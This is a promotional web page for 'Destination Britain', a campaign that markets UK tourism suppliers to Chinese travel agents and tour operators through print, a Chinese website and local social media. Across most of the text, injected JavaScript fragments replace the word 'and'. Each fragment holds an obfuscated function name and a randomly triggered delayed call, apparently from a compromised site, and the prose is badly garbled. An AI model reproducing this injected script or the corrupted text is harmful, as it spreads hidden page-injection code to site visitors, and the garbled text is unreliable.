Tell Your Story To The World’s Fastest Growing Source Market…

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With the long awaited rollout of a simplified UK visa process andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and Britain high on the Chinese long haul wish list, there are huge opportunities for British tourism suppliers of all sizes to tap into this massive market andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and attract more Chinese tourists.

‘Destination Britain’ offers a cost-effective way to present your business directly to the thousandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ands of travel planners in China who influence the choices of group andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and FIT travellers. You simply supply us with text andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and pictures andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and our experts will take care of all the translation andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and graphic design to create a beautiful promotional spread that highlights all your key offerings. We’ll then get your message directly into the handom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ands of those travel personnel designing andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and selling Britain andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and Europe through this inspirational desk-top planning tool. See Sample Spreads HERE.

In Print

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The ‘Destination Britain’ book will be sent by premium mail service directly to a thoroughly researched list of named senior sales staff andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and product planners at most of the 1,900 approved outbound travel agents andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and tour operators in mainlandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and China. This unique target list has been very carefully compiled through numerous well-researched andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and trusted sources, with input from VisitsBritain’s local China team andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and bespoke up-to-date telephone verification by Chinese data acquisition experts. See what leading agents are already saying about Destination Britain. HERE

Online

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‘Destination Britain’ will have its own locally brandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}anded andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and hosted website (下一站英国 – translating as “Next Stop Britain”) developed by Sino web experts with China-orientated SEO. Content from the book will be replicated online with each supplier having its own page andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and downloadable profile to allow agents to share it directly with remote clients as part of itinerary proposals.

Although the printed book will be sent directly to trade with trade-specific information, the online version will have an accessible consumer feel so that clients can use it too, either directly or via agent referral.

Via Social Media

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Although the likes of Facebook, Twitter, Google andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and YouTube are blocked, China’s netizens are engaged with their local social media platforms to such a degree that they are the most active social media community in the world with 84% of online users accessing the internet by smartphone to stay connected.

‘Destination Britain’ works with leading China digital marketing specialists to ensure content is promoted directly to the trade andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and potential travellers through effective local social media channels andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and trade e-mail marketing. Sina Weibo for example (similar to Twitter), has 500 million users while messaging andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and microblog service WeChat has over 470 million users.

Talk to us about promoting your story to China in 2016. For pricing andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and deadlines contact us HERE.